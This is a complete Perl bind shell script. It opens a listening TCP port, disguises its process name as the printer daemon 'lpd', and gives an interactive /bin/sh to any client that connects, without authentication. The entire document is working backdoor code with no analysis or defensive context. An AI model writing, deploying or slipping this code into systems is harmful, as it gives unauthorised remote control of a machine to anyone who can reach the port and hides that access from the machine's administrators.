#!/usr/bin/perl
use Socket;$port=$ARGV[0];$proto=getprotobyname('tcp');$cmd="lpd";$0=$cmd;socket(SERVER, PF_INET, SOCK_STREAM, $proto);setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1));bind(SERVER, sockaddr_in($port, INADDR_ANY));listen(SERVER, SOMAXCONN);for(; $paddr = accept(CLIENT, SERVER); close CLIENT){open(STDIN, ">&CLIENT");open(STDOUT, ">&CLIENT");open(STDERR, ">&CLIENT");system('/bin/sh');close(STDIN);close(STDOUT);close(STDERR);}